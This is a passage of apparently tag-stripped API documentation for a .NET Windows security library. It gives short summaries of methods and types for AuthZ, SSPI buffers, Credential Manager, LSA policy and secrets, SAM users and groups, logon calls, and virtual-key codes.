remote access checks. + + + + Dispose client context. + + + + + Clone the current context. + + True to throw on error. + The new client context. + + + + Clone the current context. + + The new client context. + + + + Flags to initialize a client context from a SID. + + + + + None. + + + + + Skip gathering token groups. + + + + + Require S4U logon. + + + + + Computer token privileges. + + + + + Specify the type of SIDs. + + + + + Normal Group SIDs. + + + + + Restricted SIDs. + + + + + Device Group SIDs. + + + + + Capability SIDs. + + + + + Delegate to handle a callback ACE. + + The ACE to handle. + True if the ACE should be processed. + + + + Class to represent a AuthZ Resource Manager. + + + + + The name of the resource manager if any. + + + + + Indicates if this resource manager is connected to a remote access server. + + + + + Dispose the resource manager. + + + + + Create a client context from a Token. + + The token to create the context from. + True to throw on error. + The created client context. + + + + Create a client context from a Token. + + The token to create the context from. + The created client context. + + + + Create a client context from a Token. + + The sid to create the context from. + Flags for intialization. + True to throw on error. + The created client context. + + + + Create a client context from a Token. + + The sid to create the context from. + Flags for intialization. + The created client context. + + + + Create a new AuthZ resource manager. + + The name of the resource manager, optional. + Optional flags for the resource manager. + Optional callback to handle callback ACEs. + True to throw on error. + The created AuthZ resource manager. + + + + Create a new AuthZ resource manager. + + The name of the resource manager, optional. + Optional flags for the resource manager. + Optional callback to handle callback ACEs. + The created AuthZ resource manager. + + + + Create a new AuthZ resource manager. Will not enable auditing. + + The created AuthZ resource manager. + + + + Create a remote AuthZ resource manager from a raw binding string. + + The RPC string binding for the server. + The SPN for the server. + True to throw on error. + The created AuthZ resource manager. + + + + Create a remote AuthZ resource manager from a raw binding string. + + The RPC string binding for the server. + The SPN for the server. + The created AuthZ resource manager. + + + + Create a remote AuthZ resource manager from a raw binding string. + + The address of the server. + The SPN for the server. + Specify the type of + True to throw on error. + The created AuthZ resource manager. + + + + Create a remote AuthZ resource manager from a raw binding string. + + The network address of the server. + The SPN for the server. + Specify the type of + The created AuthZ resource manager. + + + + Initialization flags for resource manager. + + + + + None + + + + + Disable auditing. + + + + + Initialize using impersonation token. + + + + + Disable central access policies. + + + + + Type of remote service to access. + + + + + Default, no evaluation of CAPs. + + + + + Evaluates CAPs. + + + + + Security Attribute type. + + + + + Token Security Attributes. + + + + + Device Claims. + + + + + User Claims. + + + + + SID operation for an AuthZ client context. + + + + + None. + + + + + Replace all SIDs. + + + + + Add SIDs. + + + + + Delete SIDs. + + + + + Replace SIDs. + + + + + Progress invoke setting for tree security. + + + + + The source of inheritance for a resource. + + + + + The depth between the resource and the parent. + + + + + The name of the ancestor. + + + + + The security descriptor if accessible. + + + + + The original ACE which was inherited. + + + + + The SID of the original ACE. + + + + + Access mask as a formatted string. + + + + + Generic access mask as a formatted string. + + + + + The type of the ACE. + + + + + The object type of the ACE. + + + + + The inherited object type. + + + + + Enumeration for object type. + + + + + Tree security mode. + + + + + Progress function for tree named security info. + + The name of the object. + The operation status. + The current invoke setting. + True if security is set. + The invoke setting. Return original invoke_setting if no change. + + + + Base security buffer storage. + + + + + Type of the security buffer. + + + + + Is the buffer read-only. + + + + + Is the buffer read-only with checksum. + + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + Overridden ToString method. + + The buffer as a string. + + + + Class to represent a security buffer we expect to be allocated by the SSPI. + + + + + Constructor. + + The type of the buffer. + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + Security buffer for a channel binding. + + + + + Constructor. + + The channel bindings token. + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + A security buffer which can be an input and output. + + If you create with the ReadOnly or ReadOnlyWithCheck types then the + array will not be updated. + + + + Constructor. + + The type of buffer. + The data for the input. + + + + Constructor. + + The type of buffer. + The data for the input. + The offset into the array. + Number of bytes in the input. + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + A security buffer which can only be an output. + + + + + Constructor. + + The type of buffer. + The size of the output buffer. + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + A security buffer which takes a raw pointer. The lifetime of the pointer + should be managed manually by the caller. + + + + + Constructor. + + The type of buffer. + The raw pointer. + The size of the raw pointer. + + + + The size of the buffer. + + + + + The pointer for the buffer. The lifetime needs to be manually managed. + + + + + This will free pointer using the SSPI APIs. Used to release automatically allocated + buffers. If you control the value of the Pointer you don't need to release it. + + + + + Convert to buffer back to an array. + + The buffer as an array. + + + + Security buffer type. + + + + + Class to represent a credential manager credential. + + + + + Credential flags. + + + + + Credential type. + + + + + Target name for the credentials. + + + + + Comment for the credentials. + + + + + Time the credentials was last written. + + + + + Credential blob. + + + + + Credential as a string, if available. + + + + + Credential persistence. + + + + + Credential attributes. + + + + + Target alias. + + + + + Username. + + + + + Class to represent a credential attribute. + + + + + Attribute keyword. + + + + + Attribute flags. + + + + + Attribute value. + + + + + Overridden ToString method. + + + + + + Flags for a credential attribute. + + + + + No flags. + + + + + Flags for enumeration credentials. + + + + + None. + + + + + Get all credentials. + + + + + Flags for a credential. + + + + + Class to access credential manager APIs. + + + + + Get credentials for user from credential manager. + + A filter for the target name, for example DOMAIN*. If null or empty returns all credentials. + Flags for the enumeration. + True to throw on error. + The list of credentials. + + + + Get credentials for user from credential manager. + + A filter for the target name, for example DOMAIN*. If null or empty returns all credentials. + Flags for the enumeration. + The list of credentials. + + + + Get credentials for user from credential manager. + + A filter for the target name, for example DOMAIN*. If null or empty returns all credentials. + The list of credentials. + + + + Get all credentials for user from credential manager. + + The list of credentials. + + + + Get a credential by name. + + The name of the credential. + The type of credential. + True to throw on error. + The read credential. + + + + Get a credential by name. + + The name of the credential. + The type of credential. + The read credential. + + + + Backup a user's credentials. + + The user's token. + The key for the data, typically a unicode password. Optional + True if the key is already encoded. + Caller needs SeTrustedCredmanAccessPrivilege enabled. + + + + Specify credential persistence. + + + + + Identifies the type of credentials. + + + + + Information class for a SAM domain object. + + + + + Logon32 provider + + + + + Default. + + + + + Windows NT 3.5. + + + + + Windows NT 4.0. + + + + + Windows NT 5.0. + + + + + Virtual provider. + + + + + Logon UserFlags. + + + + + Indicates the last client token status for the client context. + + + + + Yes it's the last token. + + + + + No it's not the last token. + + + + + It might be, who knows? + + + + + Status code for SSPI interface calls. + + + + + Class to represent an Account Right assigned to a user. + + + + + The name of the account right. + + + + + The display name, if known. + + + + + Get list of SIDS assigned to this access right. + + + + + ToString method. + + The name of the account right. + + + + List of account rights. Not the same as privileges. + + + + + Class to represent an LSA account object. + + + + + Get the account SID. + + + + + Get or set system access flags. + + + + + Get account privileges. + + + + + Get system access flags. + + True to throw on error. + The system access flags. + + + + Set system access flags. + + The flags to set. + True to throw on error. + The system access flags. + + + + Enumerate privileges for the account. + + True to throw on error. + The list of token privileges. + + + + Access rights for an LSA account. + + + + + Flags for looking up SIDs by name. + + + + + Flags for looking up SID names. + + + + + Base class for an LSA object. + + + + + Get the NT type for the object. + + + + + Get the object name for the object. + + + + + Get whether the object is a container. + + + + + Get the object's security descriptor. + + + + + Is an access mask granted to the object. + + The access to check. + True if all access is granted. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status code. + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Delete the object. + + True to throw on error. + The NT status code. + + + + Delete the object. + + + + + Get the system name for the policy. + + + + + Dispose the policy. + + + + + Class to represent the LSA policy. + + + + + Lookup names for SIDs. + + The list of SIDs to lookup. + True to throw on error. + The list of looked up SID names. + + + + Lookup names for SIDs. + + The list of SIDs to lookup. + The list of looked up SID names. + + + + Lookup name for a SID. + + The SID to lookup. + + + + + Lookup names for SIDs. + + The list of SIDs to lookup. + Lookup options flags. + True to throw on error. + The list of looked up SID names. + + + + Lookup names for SIDs. + + The list of SIDs to lookup. + Lookup options flags. + The list of looked up SID names. + + + + Lookup names from the LSA policy. + + The names to lookup. + Flags for the lookup. + True to throw on error. + The list of SID names. + + + + Lookup names from the LSA policy. + + The names to lookup. + Flags for the lookup. + The list of SID names. + + + + Lookup names from the LSA policy. + + The names to lookup. + The list of SID names. + + + + Lookup names from the LSA policy. + + The name to lookup. + The looked up SID name. + + + + Enumerate accounts with a user right. + + The name of the user right. + True to throw on error. + The list of SIDs with the user right. + + + + Enumerate accounts with a user right. + + The name of the user right. + The list of SIDs with the user right. + + + + Enumerate account rights for a SID. + + The SID to enumerate for. + True to throw on error. + The list of assigned account rights. + + + + Enumerate account rights for a SID. + + The SID to enumerate for. + The list of assigned account rights. + + + + Add account rights to an account. + + The SID of the account. + The list of account rights to add. + True to throw on error. + The NT status code. + + + + Add account rights to an account. + + The SID of the account. + The list of account rights to add. + + + + Remove account rights from an account. + + The SID of the account. + True to remove all rights. + The account rights to add. + True to throw on error. + The NT status code. + + + + Remove account rights from an account. + + The SID of the account. + True to remove all rights. + The account rights to add. + + + + Retrieve LSA privilege data. + + The name of the key. + True to throw on error. + The private data as bytes. + + + + Retrieve LSA privilege data. + + The name of the key. + The private data as bytes. + + + + Store LSA private data. + + The name of the key. + The data to store. If you pass null then the value will be deleted. + True to throw on error. + The NT status code. + + + + Store LSA private data. + + The name of the key. + The data to store. If you pass null then the value will be deleted. + + + + Open an LSA secret object. + + The name of the secret. + The desired access for the secret. + True to throw on error. + The opened secret. + + + + Open an LSA secret object. + + The name of the secret. + The desired access for the secret. + The opened secret. + + + + Open an LSA secret object with maximum access. + + The name of the secret. + The opened secret. + + + + Create an LSA secret object. + + The name of the secret. + The desired access for the secret. + True to throw on error. + The created secret. + + + + Create an LSA secret object. + + The name of the secret. + The desired access for the secret. + The created secret. + + + + Create an LSA secret object with maximum access. + + The name of the secret. + The created secret. + + + + Delete an LSA secret object. + + The name of the secret. + True to throw on error. + The NT status code. + + + + Delete an LSA secret object. + + The name of the secret. + + + + Open an LSA account object. + + The SID of the account. + The desired access for the account. + True to throw on error. + The opened account. + + + + Open an LSA account object. + + The SID of the account. + The desired access for the account. + The opened account. + + + + Open an LSA account object with maximum access. + + The SID of the account. + The opened account. + + + + Create an LSA account object. + + The SID of the account. + The desired access for the account. + True to throw on error. + The created account. + + + + Create an LSA account object. + + The SID of the account. + The desired access for the account. + The created account. + + + + Create an LSA account object with maximum access. + + The SID of the account. + The created account. + + + + Delete an LSA account object. + + The SID of the account. + True to throw on error. + The NT status code. + + + + Delete an LSA account object. + + The SID of the account. + + + + Enumerate account SIDs in policy. + + True to throw on error. + The list of account SIDs. + + + + Enumerate account SIDs in policy. + + The list of account SIDs. + + + + Enumerate and open accessible account objects in policy. + + The desired access for the opened accounts. + True to throw on error. + The list of accessible accounts. + + + + Enumerate and open accessible account objects in policy. + + The desired access for the opened accounts. + + + + Enumerate and open accessible account objects in policy with maximum access. + + + + + Enumerate trusted domain information. + + True to throw on error. + The list of trusted domain information. + + + + Enumerate trusted domain information. + + The list of trusted domain information. + + + + Open trusted domain object. + + The SID of the trusted domain. + The desired access for the object. + True to throw on error. + The trusted domain object. + + + + Open trusted domain object. + + The SID of the trusted domain. + The desired access for the object. + The trusted domain object. + + + + Open trusted domain object. + + The name of the trusted domain. + The desired access for the object. + True to throw on error. + The trusted domain object. + + + + Open trusted domain object. + + The name of the trusted domain. + The desired access for the object. + The trusted domain object. + + + + Enumerate and open accessible trusted domain objects in policy. + + The desired access for the opened trusted domains. + True to throw on error. + The list of accessible trusted domains. + + + + Enumerate and open accessible trusted domain objects in policy. + + The desired access for the opened trusted domains. + The list of accessible trusted domains. + + + + Enumerate and open accessible trusted domain objects in policy. + + The list of accessible trusted domains. + + + + Open an LSA policy. + + The system name for the LSA. + The desired access on the policy. + True to throw on error. + The opened policy. + + + + Open an LSA policy. + + The desired access on the policy. + True to throw on error. + The opened policy. + + + + Open an LSA policy. + + The system name for the LSA. + The desired access on the policy. + The opened policy. + + + + Open an LSA policy. + + The desired access on the policy. + The opened policy. + + + + Open an LSA policy with maximum allowed access. + + The opened policy. + + + + Access rights for the LSA policy. + + + + + Utilities for an LSA policy. + + + + + The name of the fake NT type for a LSA policy. + + + + + The name of the fake NT type for a LSA secret. + + + + + The name of the fake NT type for a LSA account. + + + + + The name of the fake NT type for a LSA trusted domain. + + + + + Generic generic mapping for LSA policy security. + + The generic mapping for the LSA policy. + + + + Generic generic mapping for LSA secret security. + + The generic mapping for the LSA secret. + + + + Generic generic mapping for LSA account security. + + The generic mapping for the LSA account. + + + + Generic generic mapping for LSA trusted domain security. + + The generic mapping for the LSA trusted domain. + + + + Class to represent an LSA secret. + + + + + Query the value of the secret. + + True to throw on error. + The value of the secret. + + + + Query the value of the secret. + + The value of the secret. + + + + Query the current value of the secret. + + True to throw on error. + The current value of the secret. + + + + Query the current value of the secret. + + The current value of the secret. + + + + Query the old value of the secret. + + True to throw on error. + The old value of the secret. + + + + Query the old value of the secret. + + The old value of the secret. + + + + Set the value of the secret. + + The current value to set. + The old value to set. + True to throw on error. + The NT status code. + + + + Set the value of the secret. + + The current value to set. + The old value to set. + + + + Access rights for an LSA secret. + + + + + Class to represent an LSA secret value. + + + + + The current value of the secret. + + + + + The set time for the current value. + + + + + The old value of the secret. + + + + + The set time for the old value. + + + + + Flags for an account's system access. + + + + + Trust attribute flags for a trusted domain. + + + + + Direction of trust for a trusted domain. + + + + + Class to represent an LSA trusted domain. + + + + + Flat name (NETBIOS) of domain. + + + + + Domain SID. + + + + + Name of the domain. + + + + + Domain trust direction. + + + + + Domain trust type. + + + + + Domain trust attributes. + + + + + Access rights for an LSA trusted domain. + + + + + Information for a trusted domain. + + + + + DNS name of domain. + + + + + Flat name (NETBIOS) of domain. + + + + + Domain SID. + + + + + Domain trust direction. + + + + + Domain trust type. + + + + + Domain trust attributes. + + + + + Trust type for a trusted domain. + + + + + Class to represent a SAM alias. + + + + + Get members of the alias. + + True to throw on error. + The list of alias members. + + + + Get members of the alias. + + The list of alias members. + + + + The alias name. + + + + + The SID of the alias. + + + + + Access rights for a SAM alias object. + + + + + Class to represent a SAM domain object. + + + + + The domain name. + + + + + The domain SID. + + + + + Get domain password information + + + + + Lookup names in a domain. + + The list of names to lookup. + True to throw on error. + The list of looked up SID names. + + + + Lookup names in a domain. + + The list of names to lookup. + The list of looked up SID names. + + + + Lookup a name in a domain. + + The name to lookup. + True to throw on error. + The SID name. + + + + Lookup a name in a domain. + + The name to lookup. + The SID name. + + + + Lookup relative IDs in a domain. + + The list of relative IDs to lookup. + True to throw on error. + The list of looked up SID names. + + + + Lookup relative IDs in a domain. + + The list of relative IDs to lookup. + The list of looked up SID names. + + + + Lookup a rid in a domain. + + The relative ID to lookup. + True to throw on error. + The SID name. + + + + Lookup a rid in a domain. + + The relative ID to lookup. + The SID name. + + + + Enumerate users in a domain. + + User account control flags. + True to throw on error. + The list of users. + + + + Enumerate users in a domain. + + User account control flags. + The list of users. + + + + Enumerate users in a domain. + + The list of users. + + + + Enumerate groups in a domain. + + True to throw on error. + The list of groups. + + + + Enumerate groups in a domain. + + The list of groups. + + + + Enumerate aliases in a domain. + + True to throw on error. + The list of aliases. + + + + Enumerate aliases in a domain. + + The list of aliases. + + + + Get alias membership for a set of SIDs. + + The SIDs to check. + True to throw on error. + The alias enumeration. + + + + Get alias membership for a set of SIDs. + + The SIDs to check. + The alias enumeration. + + + + Get alias membership for a SID. + + The SID to check. + The alias enumeration. + + + + Open a user by relative ID. + + The user ID for the user. + The desired access for the user object. + True to throw on error. + The SAM user object. + + + + Open a user by relative ID. + + The user ID for the user. + The desired access for the user object. + The SAM user object. + + + + Open a user by SID. + + The sid for the user. + The desired access for the user object. + True to throw on error. + The SAM user object. + + + + Open a user by SID. + + The sid for the user. + The desired access for the user object. + The SAM user object. + + + + Open a user by name. + + The user name for the user. + The desired access for the user object. + True to throw on error. + The SAM user object. + + + + Open a user by name. + + The user name for the user. + The desired access for the user object. + The SAM user object. + + + + Open a group by relative ID. + + The ID for the group. + The desired access for the group object. + True to throw on error. + The SAM group object. + + + + Open a group by relative ID. + + The ID for the group. + The desired access for the group object. + The SAM group object. + + + + Open a group by SID. + + The sid for the group. + The desired access for the group object. + True to throw on error. + The SAM group object. + + + + Open a group by SID. + + The sid for the group. + The desired access for the group object. + The SAM group object. + + + + Open a group by name. + + The name for the group. + The desired access for the group object. + True to throw on error. + The SAM group object. + + + + Open a group by name. + + The name for the group. + The desired access for the group object. + The SAM group object. + + + + Create a new group object. + + The name of the group. + The desired access for the group object. + True to throw on error. + The SAM group object. + + + + Create a new group object. + + The name of the group. + The desired access for the group object. + The SAM group object. + + + + Create a new group object. + + The name of the group. + The SAM group object. + + + + Create a new user in the SAM. + + The name of the user. + The type of account. + Desired access for new user. + True to throw on error. + The SAM user object. + + + + Create a new user in the SAM. + + The name of the user. + The type of account. + Desired access for new user. + The SAM user object. + + + + Open an alias by relative ID. + + The ID for the alias. + The desired access for the alias object. + True to throw on error. + The SAM alias object. + + + + Open an alias by relative ID. + + The ID for the alias. + The desired access for the alias object. + The SAM alias object. + + + + Open an alias by SID. + + The sid for the alias. + The desired access for the alias object. + True to throw on error. + The SAM alias object. + + + + Open an alias by SID. + + The sid for the alias. + The desired access for the alias object. + The SAM alias object. + + + + Open an alias by name. + + The name for the alias. + The desired access for the alias object. + True to throw on error. + The SAM alias object. + + + + Open an alias by name. + + The name for the alias. + The desired access for the alias object. + The SAM alias object. + + + + Enumerate and open accessible user objects. + + User account control flags. + The desired access for the opened users. + True to throw on error. + The list of accessible users. + + + + Enumerate and open accessible user objects. + + User account control flags. + The desired access for the opened users. + The list of accessible users. + + + + Enumerate and open accessible user objects with maximum access. + + The list of accessible users. + + + + Enumerate and open accessible group objects. + + The desired access for the opened groups. + True to throw on error. + The list of accessible groups. + + + + Enumerate and open accessible group objects. + + The desired access for the opened groups. + The list of accessible groups. + + + + Enumerate and open accessible group objects with maximum access. + + The list of accessible groups. + + + + Enumerate and open accessible alias objects. + + The desired access for the opened aliases. + True to throw on error. + The list of accessible aliases. + + + + Enumerate and open accessible alias objects. + + The desired access for the opened aliases. + The list of accessible aliases. + + + + Enumerate and open accessible alias objects with maximum access. + + The list of accessible aliases. + + + + Convert a RID to a SID for the current object. + + The relative ID. + True to throw on error. + The converted SID. + + + + Convert a RID to a SID for the current object. + + The relative ID. + The converted SID. + + + + Get password information. + + True to throw on error. + + + + + Access rights for a SAM domain object. + + + + + The domain password policy. + + + + + Minimum password length. + + + + + Password history length. + + + + + Password properties flags. + + + + + Maximum password age. + + + + + Minimum password age. + + + + + Flags for password properties. + + + + + Class to represent a SAM group. + + + + + Get members of the group. + + True to throw on error. + The list of group members. + + + + Get members of the group. + + The list of group members. + + + + Query group attribute flags. + + True to throw on error. + The group attribute flags. + + + + Set the group attribute flags. + + The attributes to set. + True to throw on error. + The NT status code. + + + + Delete the group object. + + True to throw on error. + The NT status code. + + + + Delete the group object. + + + + + The group name. + + + + + The SID of the group. + + + + + Get or set the group attribute flags. + + + + + Access rights for the SAM group. + + + + + Membership entry for a group. + + + + + The group relative ID. + + + + + The attributes for the group. + + + + + Base class for a SAM object. + + + + + The name of the server that we've connected to. + + + + + Get the NT type for the object. + + + + + Get the object name for the object. + + + + + Get whether the object is a container. + + + + + Get the object's security descriptor. + + + + + Is an access mask granted to the object. + + The access to check. + True if all access is granted. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status code. + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Dispose the policy. + + + + + Represents information for a SAM relative value. + + + + + The name of the domain. + + + + + The RID of the domain. + + + + + Class to represent a connection to a SAM server. + + + + + Enumerate domains in the SAM. + + True to throw on error. + The list of domains. + + + + Enumerate domains in the SAM. + + The list of domains. + + + + Lookup the domain SID for a domain name. + + The name of the domain. + True to throw on error. + The domain SID. + + + + Lookup the domain SID for a domain name. + + The name of the domain. + The domain SID. + + + + Open a SAM domain object. + + The domain SID. + The desired access for the object. + True to throw on error. + The SAM domain object. + + + + Open a SAM domain object. + + The domain SID. + The desired access for the object. + The SAM domain object. + + + + Open a SAM domain object. + + The name of the domain. + The desired access for the object. + True to throw on error. + The SAM domain object. + + + + Open a SAM domain object. + + The name of the domain. + The desired access for the object. + The SAM domain object. + + + + Enumerate and open accessible domain objects. + + The desired access for the opened domains. + True to throw on error. + The list of accessible domains. + + + + Enumerate and open accessible domain objects. + + The desired access for the opened domains. + The list of accessible domains. + + + + Opens the builtin domain on the server. + + The desired access for the object. + True to throw on error. + The SAM domain object. + + + + Opens the builtin domain on the server. + + The desired access for the object. + The SAM domain object. + + + + Opens the user domain on the server. + + The desired access for the object. + True to throw on error. + The SAM domain object. + + + + Opens the user domain on the server. + + The desired access for the object. + The SAM domain object. + + + + Connect to a SAM server. + + The name of the server. Set to null for local connection. + The desired access on the SAM server. + True to throw on error. + The server connection. + + + + Connect to a SAM server. + + The name of the server. Set to null for local connection. + The desired access on the SAM server. + The server connection. + + + + Connect to a SAM server. + + The desired access on the SAM server. + The server connection. + + + + Connect to a SAM server with maximum access. + + The server connection. + + + + Access rights for the SAM server. + + + + + Class to represent a SAM user. + + + + + Get full name for the user. + + True to throw on error. + The full name of the user. + + + + Get home directory for the user. + + True to throw on error. + The home directory of the user. + + + + Get primary group ID for the user. + + True to throw on error. + The primary group ID of the user. + + + + Get user account control flags for the user. + + True to throw on error. + The user account control flags of the user. + + + + Change a user's password. + + The old password. + The new password. + True to throw on error. + The NT status code. + + + + Change a user's password. + + The old password. + The new password. + + + + Set a user's password. + + The password to set. + Whether the password has expired. + True to throw on error. + The NT status code. + + + + Set a user's password. + + The password to set. + Whether the password has expired. + + + + The user name. + + + + + The SID of the user. + + + + + Get full name for the user. + + + + + Get home directory for the user. + + + + + Get user account control flags for the user. + + + + + Is the account disabled? + + + + + Get the primary group SID. + + + + + Access rights for a SAM user object. + + + + + Type of user account to create. + + + + + A user account. + + + + + A workstation trust account. + + + + + A server trust account. + + + + + A temporary duplicate account. + + + + + Inter domain trust account. + + + + + User account control flags. + + + + + Security utilities which call the Win32 APIs. + + + + + Set security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + True to throw on error. + The NT status code. + + + + Set security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + Specify to indicate when to execute progress function. + The security operation to perform on the tree. + Progress function. + + + + Set security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + Specify to indicate when to execute progress function. + The security operation to perform on the tree. + Progress function. + True to throw on error. + The NT status code. + + + + Set security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + The Win32 Error Code. + + + + Set security using an object handle. + + The handle of the object. + The type of object. + The security information to set. + The security descriptor to set. + True to throw on error. + The NT status code. + + + + Set security using an object handle. + + The handle of the object. + The type of object. + The security information to set. + The security descriptor to set. + + + + Set security using an object handle. + + The handle of the object. + The type of object. + The security information to set. + The security descriptor to set. + True to throw on error. + The NT status code. + + + + Set security using an object handle. + + The handle of the object. + The type of object. + The security information to set. + The security descriptor to set. + + + + Reset security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + True to keep explicit ACEs. + Specify to indicate when to execute progress function. + Progress function. + + + + Reset security using a named object. + + The name of the object. + The type of named object. + The security information to set. + The security descriptor to set. + Specify to indicate when to execute progress function. + True to keep explicit ACEs. + Progress function. + True to throw on error. + The NT status code. + + + + Get the source of inherited ACEs. + + The name of the resource. + The type of the resource. + Whether the resource is a container. + Optional list of object types. + The security descriptor for the resource. + True to check the SACL otherwise checks the DACL. + Generic mapping for the resource. + Query security descriptors for sources. + True to throw on error. + The list of inheritance sources. + + + + Get the source of inherited ACEs. + + The name of the resource. + The type of the resource. + Whether the resource is a container. + Optional list of object types. + The security descriptor for the resource. + True to check the SACL otherwise checks the DACL. + Generic mapping for the resource. + Query security descriptors for sources. + The list of inheritance sources. + + + + Get the security descriptor for a named resource. + + The name of the resource. + The type of the resource. + The security information to get. + True to throw on error. + The security descriptor. + + + + Get the security descriptor for a named resource. + + The name of the resource. + The type of the resource. + The security information to get. + The security descriptor. + + + + Get the security descriptor for a resource. + + The handle to the resource. + The type of the resource. + The security information to get. + True to throw on error. + The security descriptor. + + + + Get the security descriptor for a resource. + + The handle to the resource. + The type of the resource. + The security information to get. + The security descriptor. + + + + Get the NT type for a SE Object Type. + + The type of the resource. + The NT type if known, otherwise null. + + + + Lookup a privilege display name. + + The system name to do the lookup on. + The privilege name. + The display name. Empty string on error. + + + + Add a SID to name mapping with LSA. + + The domain name for the SID. The SID must be in the NT authority. + The account name for the SID. Can be null for a domain SID. + The SID to add. + True to throw on error. + The NT status result. + + + + Add a SID to name mapping with LSA. + + The domain name for the SID. + The account name for the SID. Can be null for a domain SID. + The SID to add. + The NT status result. + + + + Remove a SID to name mapping with LSA. + + The domain name for the SID. + The account name for the SID. Can be null for a domain SID. + True to throw on error. + The NT status result. + + + + Remove a SID to name mapping with LSA. + + The domain name for the SID. + The account name for the SID. Can be null for a domain SID. + The NT status result. + + + + Remove a SID to name mapping with LSA. + + The SID to remove. + The NT status result. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + True to throw on error. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + Additional groups to add. Needs SeTcbPrivilege. + The logged on token. + + + + Logon a user with a username and password. + + The username. + The user's domain. + The user's password. + The type of logon token. + The Logon provider. + Additional groups to add. Needs SeTcbPrivilege. + True to throw on error. + The logged on token. + + + + Lookup a SID's internet name. + + The SID to lookup. + True to throw on error. + The name of the sid as an internet account. + This still might return the normal NT4 style account name if the user is not an internet user. + + + + Lookup a SID's internet name. + + The SID to lookup. + The name of the sid as an internet account. + This still might return the normal NT4 style account name if the user is not an internet user. + + + + Retrieve LSA private data. + + The system containing the LSA instance. + The name of the key. + True to throw on error. + The private data as bytes. + + + + Retrieve LSA private data. + + The system containing the LSA instance. + The name of the key. + The private data as bytes. + + + + Retrieve LSA private data. + + The name of the key. + The private data as bytes. + + + + Store LSA private data. + + The system containing the LSA instance. + The name of the key. + The data to store. + True to throw on error. + The NT status code. + + + + Store LSA private data. + + The system containing the LSA instance. + The name of the key. + The data to store. + + + + Store LSA private data. + + The name of the key. + The data to store. + + + + Delete LSA private data. + + The system containing the LSA instance. + The name of the key. + True to throw on error. + The NT status code. + + + + Delete LSA private data. + + The system containing the LSA instance. + The name of the key. + + + + Delete LSA private data. + + The name of the key. + + + + Virtual Key enumeration. + + + + + Left mouse button + + + + + Right mouse button + + + + + Control-break processing + + + + + Middle mouse button (three-button mouse) + + + + + Windows 2000/XP: X1 mouse button + + + + + Windows 2000/XP: X2 mouse button + + + + + BACKSPACE key + + + + + TAB key + + + + + CLEAR key + + + + + ENTER key + + + + + SHIFT key + + + + + CTRL key + + + + + ALT key + + + + + PAUSE key + + + + + CAPS LOCK key + + + + + Input Method Editor (IME) Kana mode + + + + + IME Hangul mode + + + + + IME Junja mode + + + + + IME final mode + + + + + IME Hanja mode + + + + + IME Kanji mode + + + + + ESC key + + + + + IME convert + + + + + IME nonconvert + + + + + IME accept + + + + + IME mode change request + + + + + SPACEBAR + + + + + PAGE UP key + + + + + PAGE DOWN key + + + + + END key + + + + + HOME key + + + + + LEFT ARROW key + + + + + UP ARROW key + + + + + RIGHT ARROW key + + + + + DOWN ARROW key + + + + + SELECT key + + + + + PRINT key + + + + + EXECUTE key + + + + + PRINT SCREEN key + + + + + INS key + + + + + DEL key + + + + + HELP key + + + + + 0 key + + + + + 1 key + + + + + 2 key + + + + + 3 key + + + + + 4 key + + + + + 5 key + + + + + 6 key + + + + + 7 key + + + + + 8 key + + + + + 9 key + + + + + A key + + + + + B key + + + + + C key + + + + + D key + + + + + E key + + + + + F key + + + + + G key + + + + + H key + + + + + I key + + + + + J key + + + + + K key + + + + + L key + + + + + M key + + + + + N key + + + + + O key + + + + + P key + + + + + Q key + + + + + R key + + + + + S key + + + + + T key + + + + + U key + + + + + V key + + + + + W key + + + + + X key + + + + + Y key + + + + + Z key + + + + + Left Windows key (Microsoft Natural keyboard) + + + + + Right Windows key (Natural keyboard) + + + + + Applications key (Natural keyboard) + + + + + Computer Sleep key + + + + + Numeric keypad 0 key + + + + + Numeric keypad 1 key + + + + + Numeric keypad 2 key + + + + + Numeric keypad 3 key + + + + + Numeric keypad 4 key + + + + + Numeric keypad 5 key + + + + + Numeric keypad 6 key + + + + + Numeric keypad 7 key + + + + + Numeric keypad 8 key + + + + + Numeric keypad 9 key + + + + + Multiply key + + + + + Add key + + + + + Separator key + + + + + Subtract key + + + + + Decimal key + + + + + Divide key + + + + + F1 key + + + + + F2 key + + + + + F3 key + + + + + F4 key + + + + + F5 key + + + + + F6 key + + + + + F7 key + + + + + F8 key + + + + + F9 key + + + + + F10 key + + + + + F11 key + + + + + F12 key + + + + + F13 key + + + + + F14 key + + + + + F15 key + + + + + F16 key + + + + + F17 key + + + + + F18 key + + + + + F19 key + + + + + F20 key + + + + + F21 key + + + + + F22 key, (PPC only) Key used to lock device. + + + + + F23 key + + + + + F24 key + + + + + NUM LOCK key + + + + + SCROLL LOCK key + + + + + Left SHIFT key + + + + + Right SHIFT key + + + + + Left CONTROL key + + + + + Right CONTROL key + + + + + Left MENU key + + + + + Right MENU key + + + + + Windows 2000/XP: Browser Back key + + + + + Windows 2000/XP: Browser Forward key + + + + + Windows 2000/XP: Browser Refresh key + + + + + Windows 